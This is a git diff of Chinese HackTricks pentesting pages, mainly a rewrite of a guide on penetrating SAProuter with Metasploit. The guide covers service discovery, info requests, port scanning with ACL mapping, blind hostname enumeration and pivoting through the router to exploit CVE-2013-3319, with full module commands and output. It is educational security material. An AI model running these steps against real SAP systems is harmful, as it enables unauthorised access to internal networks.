# BEGIN RECORD 2.0-873
|
||||
|
@ -159,7 +161,7 @@ node.conn[0].iscsi.IFMarker = No
|
|||
node.conn[0].iscsi.OFMarker = No
|
||||
# END RECORD
|
||||
```
|
||||
**有一个脚本可以自动化基本子网枚举过程,可在** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **获取。**
|
||||
**有一个用于自动化基本子网枚举过程的脚本可在** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **找到**
|
||||
|
||||
## **Shodan**
|
||||
|
||||
|
@ -167,18 +169,19 @@ node.conn[0].iscsi.OFMarker = No
|
|||
|
||||
## **参考资料**
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,325 +1,76 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>学习 AWS 黑客技术,从新手到专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 **提交 PR 来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
复制自:[https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
3299/tcp open saprouter?
|
||||
```
|
||||
# 穿透SAProuter的Metasploit
|
||||
## 通过Metasploit理解SAProuter渗透
|
||||
|
||||
Saprouter基本上是SAP系统的反向代理,通常位于互联网和内部SAP系统之间。它的主要目的是允许互联网上的主机受控访问内部SAP系统,因为它允许比典型防火墙更细粒度的控制SAP协议。
|
||||
SAProuter充当SAP系统的反向代理,主要用于控制互联网与内部SAP网络之间的访问。通常通过允许TCP端口3299穿过组织防火墙来将其暴露在互联网上。这种设置使SAProuter成为渗透测试的一个吸引人的目标,因为它可能作为通往高价值内部网络的网关。
|
||||
|
||||
这意味着saprouter通常最终会暴露在互联网上,通过允许入站TCP端口3299到组织防火墙上的saprouter主机。至少应该可以从saprouter访问到一个内部SAP服务器。这使它成为一个非常有趣的目标,因为它可以提供进入“高价值”网络的方式。
|
||||
**扫描和信息收集**
|
||||
|
||||
下图显示了一个基本的网络设置,我们将使用它进行示例:
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/33923/image1.jpg)
|
||||
|
||||
首先,我们将开始执行对暴露的IP地址的SAP服务扫描,使用[`sap_service_discovery`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery)模块,在这个例子中是1.2.3.101。
|
||||
首先,使用**sap_service_discovery**模块执行扫描,以确定给定IP上是否运行了SAP路由器。这一步对于建立SAP路由器及其开放端口的存在至关重要。
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
RHOSTS => 1.2.3.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
|
||||
[*] [SAP] Beginning service Discovery '1.2.3.101'
|
||||
|
||||
[+] 1.2.3.101:3299 - SAP Router OPEN
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
扫描显示主机在预期的TCP 3299端口上运行着SAP路由器。我们现在可以深入挖掘,并尝试从saprouter获取一些信息。如果配置错误,而且它们经常会出错,我们可能能够获取内部信息,例如通过saprouter到内部主机的已建立连接。为此我们使用[`sap_router_info_request`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request)模块:
|
||||
在发现之后,使用 **sap_router_info_request** 模块对 SAP 路由器的配置进行进一步调查,可能会揭示内部网络细节。
|
||||
```text
|
||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||
RHOSTS => 1.2.3.101
|
||||
msf auxiliary(sap_router_info_request) > run
|
||||
|
||||
[+] 1.2.3.101:3299 - Connected to saprouter
|
||||
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
|
||||
[+] 1.2.3.101:3299 - Got INFO response
|
||||
[+] Working directory : /opt/sap
|
||||
[+] Routtab : ./saprouttab
|
||||
|
||||
[SAP] SAProuter Connection Table for 1.2.3.101
|
||||
===================================================
|
||||
|
||||
Source Destination Service
|
||||
------ ----------- -------
|
||||
1.2.3.12 192.168.1.18 3200
|
||||
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
```markdown
|
||||
因此,从输出中我们可以看到,互联网上的某个用户(1.2.3.12)正在连接到内部主机(192.168.1.18)的3200端口。3200端口是SAP常用的端口,用于DIAG协议(SAP GUI应用程序连接到SAP服务器的地方)。我们还获得了有关内部IP地址方案的信息,他们很可能至少使用192.168.1.0/24网络,或该网络中的某个子网。
|
||||
**枚举内部服务**
|
||||
|
||||
**枚举内部主机和服务**
|
||||
|
||||
有了这些信息,我们现在可以开始扫描内部网络。由于saprouter的工作原理类似于代理,我们将尝试连接到它并请求连接到内部主机和端口,然后查看saprouter的回复。这可能会根据saprouter的配置,提供更多关于内部主机、服务和访问控制列表(ACLs)的洞察。我们将使用[`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner)模块来实现这一目的。
|
||||
|
||||
该模块连接到saprouter并请求连接到其他主机(在TARGETS选项中定义)的特定TCP端口。然后它分析回复,并了解所请求的连接是否可能。这个模块提供了一些可以使用的选项:
|
||||
```
|
||||
```text
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONCURRENCY 10 yes The number of concurrent ports to check per host
|
||||
INSTANCES 00-99 no SAP instance numbers to scan (NN in PORTS definition)
|
||||
MODE SAP_PROTO yes Connection Mode: SAP_PROTO or TCP (accepted: SAP_PROTO, TCP)
|
||||
PORTS 32NN yes Ports to scan (e.g. 3200-3299,5NN13)
|
||||
RESOLVE local yes Where to resolve TARGETS (accepted: remote, local)
|
||||
RHOST yes SAPRouter address
|
||||
RPORT 3299 yes SAPRouter TCP port
|
||||
TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.
|
||||
```
|
||||
您至少需要设置saprouter的IP地址,在示例中为1.2.3.101。然后,设置TARGETS为您想要扫描的内部网络地址,最后设置PORTS为要扫描的TCP端口。
|
||||
|
||||
该模块还提供了一个INSTANCES选项,可以简化PORTS选项的定义。SAP安装支持多个实例,提供类似的服务,因此每个实例都分配了TCP端口。例如,SAP实例00将在端口3200上有SAP调度器服务(SAP GUI连接到的地方),实例01在端口3201上。PORTS选项支持一个“通配符”,即“NN”,它将被替换为实例号,因此扫描所有定义实例的端口。所以,如果我们想要扫描从00到50的实例,我们可以这样定义INSTANCES和PORTS变量:
|
||||
通过获得的内部网络洞察力,使用**sap_router_portscanner**模块来通过SAProuter探测内部主机和服务,从而更深入地了解内部网络和服务配置。
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
INSTANCES => 00-01
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
PORTS => 32NN
|
||||
```
|
||||
```markdown
|
||||
使用此设置,模块将扫描3200到3250范围内的端口。
|
||||
**高级枚举和ACL映射**
|
||||
|
||||
在模块的源代码中,您可以找到有关SAP系统上常见默认端口的信息,我们现在将使用它来进行扫描:
|
||||
```
|
||||
```text
|
||||
msf > use auxiliary/scanner/sap/sap_router_portscanner
|
||||
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
|
||||
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
|
||||
RHOST => 1.2.3.101
|
||||
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
|
||||
TARGETS => 192.168.1.18
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
|
||||
INSTANCES => 00-01
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
|
||||
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
|
||||
msf auxiliary(sap_router_portscanner) > run
|
||||
|
||||
[*] Scanning 192.168.1.18
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
192.168.1.18 3201 closed SAP Dispatcher sapdp01
|
||||
192.168.1.18 3200 open SAP Dispatcher sapdp00
|
||||
192.168.1.18 50013 open SAP StartService [SOAP] sapctrl00
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
我们可以通过使用VERBOSE选项来尝试理解为什么某些连接不能通过saprouter。当VERBOSE设置为true时,我们能够看到来自saprouter的响应,并映射定义的ACL。
|
||||
|
||||
我们现在将扫描192.168.1.18和192.168.1.1主机,但只在端口3200上,以查看我们是否可以连接到两个SAP调度程序:
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
|
||||
TARGETS => 192.168.1.1,192.168.1.18
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
PORTS => 32NN
|
||||
msf auxiliary(sap_router_portscanner) > run
|
||||
|
||||
[*] Scanning 192.168.1.18
|
||||
[+] 192.168.1.18:3200 - TCP OPEN
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
192.168.1.18 3200 open SAP Dispatcher sapdp00
|
||||
|
||||
[*] Scanning 192.168.1.1
|
||||
[-] 192.168.1.1:3200 - blocked by ACL
|
||||
[!] Warning: Service info could be inaccurate
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
您可以看到,我们现在也知道无法连接到端口3200上的其他主机,因为它被定义在saprouter上的ACL阻止了。
|
||||
|
||||
**映射ACLs**
|
||||
|
||||
saprouter的一个有趣之处在于它支持两种类型的连接:
|
||||
|
||||
* 原生 - 这些连接仅仅是TCP连接;
|
||||
* SAP协议 - 这些是带有变化的TCP连接,协议规定所有消息都以4个字节开始,表示后续内容的长度。
|
||||
|
||||
SAP协议是saprouter特有的,是SAP GUI用来通过saprouter连接到SAP DIAG端口的协议。原生协议用于允许其他类型的连接通过saprouter。
|
||||
|
||||
此模块允许在扫描时在MODE选项中指定要测试的连接类型。默认是SAP协议,这是生产中最可能使用的。然而,在saprouter允许的其他服务中发现允许原生\(TCP\)连接通过并不少见。
|
||||
|
||||
我们可以将MODE设置为TCP,以评估是否允许此类型的连接。我们现在将扫描内部主机,端口3200 \(SAP DIAG\) 和 80 \(HTTP\),将VERBOSE设置为true,在00和01两个实例上进行扫描,看看会发生什么:
|
||||
进一步的扫描可以揭示SAProuter上的访问控制列表(ACL)配置情况,详细说明了允许或阻止的连接。这些信息对于理解安全策略和潜在漏洞至关重要。
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
MODE => TCP
|
||||
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
PORTS => 80,32NN
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
|
||||
INSTANCES => 00-01
|
||||
msf auxiliary(sap_router_portscanner) > run
|
||||
|
||||
[*] Scanning 192.168.1.18
|
||||
[+] 192.168.1.18:80 - TCP OPEN
|
||||
[-] 192.168.1.18:3200 - blocked by ACL
|
||||
[+] 192.168.1.18:3201 - TCP OPEN
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
192.168.1.18 80 open
|
||||
192.168.1.18 3201 open SAP Dispatcher sapdp01
|
||||
|
||||
[*] Scanning 192.168.1.1
|
||||
[-] 192.168.1.1:3200 - blocked by ACL
|
||||
[+] 192.168.1.1:3201 - TCP OPEN
|
||||
[+] 192.168.1.1:80 - TCP OPEN
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
192.168.1.1 3201 open SAP Dispatcher sapdp01
|
||||
192.168.1.1 80 open
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
从输出和之前的信息我们现在知道ACL大概是这样的:
|
||||
**内部主机的盲枚举**
|
||||
|
||||
* 允许任何主机对192.168.1.1的80端口进行TCP连接
|
||||
* 允许任何主机对192.168.1.18的80端口进行TCP连接
|
||||
* 允许任何主机对192.168.1.1的3201端口进行TCP连接
|
||||
* 允许任何主机对192.168.1.18的3201端口进行TCP连接
|
||||
* 允许任何主机对192.168.1.18的3200端口进行SAP连接
|
||||
在直接从SAProuter获取信息受限的情况下,可以应用盲枚举等技术。这种方法尝试猜测和验证内部主机名的存在,揭示潜在目标而无需直接IP地址。
|
||||
|
||||
**盲目枚举内部主机**
|
||||
**利用信息进行渗透测试**
|
||||
|
||||
如果您还记得,我们开始时通过获取saprouter的信息来了解内部主机的IP地址,然后从那里继续。但如果saprouter没有提供那些信息怎么办?
|
||||
|
||||
一种选择是开始扫描私有地址空间,看看会发生什么。另一种是通过主机名盲目枚举主机。
|
||||
|
||||
Saprouters能够解析我们请求其连接的主机名。Saprouter也很友好地告诉我们当它连接失败时的错误(您实际上可以通过取消注释模块源代码的第242行来查看原始响应)。
|
||||
|
||||
有了这个功能,我们就能够通过主机名枚举内部主机,并尝试直接找到宝藏!
|
||||
|
||||
为此,我们需要将RESOLVE选项设置为“remote”。在这种情况下,模块将请求连接到定义的TARGETS,而不会在本地解析它们,我们可以尝试猜测内部主机,并最终在不知道它们的IP地址的情况下连接到它们。
|
||||
|
||||
在盲目枚举主机时要记住的重要事项:
|
||||
|
||||
* 将VERBOSE设置为true;
|
||||
* 如果MODE设置为SAP_PROTO,我们将从saprouter获取更多信息;
|
||||
* 此时只需设置一个端口进行扫描,因为我们只对saprouter发送的信息感兴趣(尝试3200);
|
||||
* 结果将根据配置的ACL而有所不同。不幸的是,被阻止的连接不会给我们提供太多信息。
|
||||
|
||||
在这个例子中,我们将尝试主机名sap、sapsrv和sapsrv2。
|
||||
在绘制网络图并确定可访问的服务后,渗透测试人员可以利用Metasploit的代理功能通过SAProuter进行进一步探索和利用内部SAP服务。
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set RESOLVE remote
|
||||
RESOLVE => remote
|
||||
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
|
||||
MODE => SAP_PROTO
|
||||
msf auxiliary(sap_router_portscanner) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
|
||||
TARGETS => sap,sapsrv,sapsrv2
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 3200
|
||||
PORTS => 3200
|
||||
msf auxiliary(sap_router_portscanner) > run
|
||||
|
||||
[*] Scanning sap
|
||||
[-] sap:3200 - unknown host
|
||||
[!] Warning: Service info could be inaccurate
|
||||
[*] Scanning sapsrv
|
||||
[-] sapsrv:3200 - host unreachable
|
||||
[!] Warning: Service info could be inaccurate
|
||||
[*] Scanning sapsrv2
|
||||
[+] sapsrv2:3200 - TCP OPEN
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
sapsrv2 3200 open SAP Dispatcher sapdp00
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
从输出中我们可以看到,“sap”这个主机不存在,但是主机sapsrv虽然无法访问,sapsrv2却存在,并且我们可以连接到3200端口。
|
||||
|
||||
这种技术也可以用来尝试在网络上找到其他非SAP相关的主机,只需尝试使用常见的主机名,如smtp、exchange、pdc、bdc、fileshare、intranet,或者你的技巧包里可能有的其他好听的主机名。
|
||||
|
||||
**最后一程**
|
||||
|
||||
现在我们已经获得了所有这些信息,我们知道了内部可用的主机、允许的服务以及我们可以用来穿透saprouter的协议,我们实际上可以连接到内部服务器,并继续我们的渗透测试。
|
||||
|
||||
Metasploit为我们提供了一个很棒的方式,可以将saprouter作为代理,使用Proxies选项,感谢Dave Hartley([@nmonkee](http://twitter.com/nmonkee))。
|
||||
|
||||
所以在这个阶段,我们想要开始收集我们在192.168.1.18主机上发现的内部sap服务器的信息。作为一个例子,我们将使用模块[`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem),它利用CVE-2013-3319漏洞,通过在1128端口上对SAP Host Control服务发起未经认证的SOAP请求,来获取服务器运行的操作系统的详细信息。我们将通过saprouter进行枢纽转接,使用metasploit中的代理支持:
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg)
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
Proxies => sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
RHOSTS => 192.168.1.18
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||
|
||||
[+] 192.168.1.18:1128 - Information retrieved successfully
|
||||
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
如果一切顺利,您将在loot中得到模块的良好输出,其中包含目标SAP主机的有趣内部信息(例如内部用户名,您可以尝试对其进行暴力破解)。
|
||||
|
||||
Pivoting可以(也应该!)用于针对内部主机运行其他模块,不仅仅是SAP系统!
|
||||
|
||||
**结论**
|
||||
|
||||
我们已经看到,如何利用弱saprouter配置,这些配置可以允许从互联网访问内部主机,所有这些仅使用metasploit对SAP系统的pentesting支持。
|
||||
这种方法强调了安全的SAProuter配置的重要性,并突出了通过有针对性的渗透测试访问内部网络的潜力。正确保护SAP路由器并了解它们在网络安全架构中的作用对于防止未经授权的访问至关重要。
|
||||
|
||||
我希望这篇文章能帮助阐明与saprouter部署相关的风险,以及SAP安全性。
|
||||
要获取有关Metasploit模块及其用法的更详细信息,请访问[Rapid7的数据库](http://www.rapid7.com/db)。
|
||||
|
||||
**参考资料**
|
||||
|
||||
* [http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/](http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/)
|
||||
* \[[http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nun ez Di Croce - SAProuter .pdf\]\([http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nunez Di Croce - SAProuter .pdf\)
|
||||
* [http://scn.sap.com/docs/DOC-17124](http://scn.sap.com/docs/DOC-17124)
|
||||
* [http://help.sap.com/saphelp\_nw70/helpdata/EN/4f/992dfe446d11d189700000e8322d00/f rameset.htm](http://help.sap.com/saphelp_nw70/helpdata/EN/4f/992dfe446d11d189700000e8322d00/frameset.htm)
|
||||
* [http://help.sap.com/saphelp\_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767 /content.htm](http://help.sap.com/saphelp_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767/content.htm)
|
||||
* [http://labs.integrity.pt/advisories/cve-2013-3319/](http://labs.integrity.pt/advisories/cve-2013-3319/)
|
||||
* [SAP Service Discovery \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery)
|
||||
* [SAPRouter Admin Request \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request)
|
||||
* [CVE-2013-3319 SAP Host Agent Information Disclosure \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem)
|
||||
* [SAPRouter Port Scanner \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner)
|
||||
## **参考资料**
|
||||
|
||||
# Shodan
|
||||
* [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:3299 !HTTP Network packet too big`
|
||||
|
||||
|
@ -327,14 +78,14 @@ Pivoting可以(也应该!)用于针对内部主机运行其他模块,不
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS hacking,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想在 **HackTricks上看到你的公司广告** 或者 **下载HackTricks的PDF版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
